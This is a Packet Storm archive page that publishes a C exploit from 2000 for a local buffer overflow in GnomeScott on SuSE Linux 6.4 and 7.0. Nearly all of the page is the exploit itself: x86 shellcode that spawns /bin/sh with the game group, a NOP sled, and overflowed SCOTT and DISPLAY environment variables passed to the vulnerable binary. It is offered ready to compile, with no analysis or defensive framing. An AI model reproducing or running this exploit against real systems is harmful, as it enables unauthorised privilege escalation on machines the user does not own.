exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-GnomeScott_smash.c

hhp-GnomeScott_smash.c
Posted Dec 31, 2000
Authored by Loophole, hhp | Site hhp-programming.net

GnomeScott local buffer overflow which provides a gid=40 (game) shell on SuSE 6.4 and 7.0.

tags | exploit, overflow, shell, local
systems | linux, suse
SHA-256 | b91af559b80952154115640a2ad71c7a3af251836cff99bde6dad6259ee95e28

hhp-GnomeScott_smash.c

Change Mirror Download
/* GnomeScott local buffer overflow. (gid=game(40))
*
* Author: Cody Tubbs (loophole of hhp).
* www.hhp-programming.net / pigspigs@yahoo.com
* 12/8/2000
*
* This exploit was coded at overfiens in cali.
* Shouts to overfien and skeptik... h00t h00t.
*
* Tested on SuSE 6.4/2.2.14 and 7.0/2.2.16-SMP
* sgid "game"(40) by default.
*
*/

#include <stdio.h>

#define OFFSET 0
#define NOP 0x90
#define DBUF 256 //184+RET+68 :D
#define GID 40

static char shellcode[]=
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
"\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
"\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
__asm__("movl %esp,%eax");
}

main(int argc, char **argv){
char eipeip[DBUF], buffer[4096], heh[256+1];
int i, offset, gid;
long address;

if(argc>1){
offset=atoi(argv[1]);
}else{
offset=OFFSET;
}

address=get_sp()-offset;

for(i=0;i<DBUF;i+=4){
*(long *)&eipeip[i]=address;
}

gid=GID;
shellcode[10]=gid;
shellcode[22]=gid;
shellcode[24]=gid;

for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
buffer[i]=NOP;
}

memcpy(heh, eipeip, strlen(eipeip));
memcpy(heh, "DISPLAY=", 8);
putenv(heh);

memcpy(buffer+i, shellcode, strlen(shellcode));
memcpy(buffer, "SCOTT=", 6);
putenv(buffer);

fprintf(stderr, "Return address %#x, offset: %d.\n", address, offset);
execlp("/opt/gnome/bin/GnomeScott", "GnomeScott", 0);
}


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close